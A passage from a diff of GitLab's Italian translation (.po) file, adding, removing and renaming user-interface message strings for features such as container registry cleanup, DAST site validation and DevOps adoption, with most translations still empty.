+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3331,6 +3465,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3393,6 +3533,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3474,6 +3617,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3525,9 +3671,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr "Sei sicuro di voler cancellare questa pipeline programmata?"
@@ -3578,6 +3721,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr "Sei sicuro di voler ripristinare il token di registrazione?"
@@ -3852,6 +3998,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -3972,6 +4124,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4260,12 +4415,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4290,6 +4451,11 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4341,6 +4507,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4599,9 +4768,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4629,6 +4795,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4725,6 +4894,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4752,6 +4924,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr "Cancella"
@@ -4785,9 +4963,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -4929,6 +5104,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -4947,9 +5125,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5016,6 +5191,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5202,12 +5380,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5241,6 +5413,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5409,7 +5584,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5451,10 +5626,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5502,7 +5677,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5511,9 +5686,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5604,6 +5776,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5712,6 +5887,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr "Certificato CA"
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -5970,9 +6148,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr "Helm Tiller"
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6075,6 +6250,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6408,7 +6586,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6749,6 +6927,9 @@ msgstr ""
msgid "Commit Message"
msgstr "Messaggio di commit"
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -6872,9 +7053,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7046,6 +7224,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -7070,7 +7251,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7098,6 +7279,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7173,6 +7357,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7182,6 +7375,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7205,7 +7407,16 @@ msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7214,6 +7425,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7235,21 +7449,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8038,9 +8261,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8101,6 +8321,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8226,9 +8449,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8277,7 +8497,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8304,9 +8527,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8328,15 +8548,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8370,9 +8590,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8406,64 +8635,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validating..."
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validation failed"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8577,9 +8827,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8604,7 +8851,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8688,9 +8935,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9096,6 +9340,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9114,6 +9361,9 @@ msgstr ""
msgid "Description"
msgstr "Descrizione"
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9150,6 +9400,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9207,6 +9460,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9285,15 +9541,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9303,15 +9553,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9500,9 +9819,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9575,9 +9891,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9626,9 +9939,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9734,6 +10053,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -9809,6 +10131,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9839,6 +10164,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -9911,7 +10239,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9929,6 +10257,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10280,6 +10611,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10391,6 +10725,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10628,9 +10965,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10667,6 +11001,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10745,6 +11082,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -10979,6 +11319,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11087,6 +11430,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11222,6 +11568,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11261,6 +11610,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11300,12 +11652,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11473,6 +11831,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11497,9 +11858,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11560,6 +11918,9 @@ msgstr "Feb"
msgid "February"
msgstr "Febbraio"
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11602,7 +11963,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11728,12 +12089,6 @@ msgstr ""
msgid "Find file"
msgstr "Trova file"
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11758,9 +12113,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11806,9 +12158,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -11893,6 +12242,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -11920,9 +12272,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr "Dalla creazione di un issue fino al rilascio in produzione"
@@ -12409,6 +12758,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12442,6 +12794,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12652,15 +13007,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12775,12 +13127,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13015,6 +13361,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13408,12 +13760,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13489,6 +13835,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13640,9 +13989,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13784,6 +14130,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
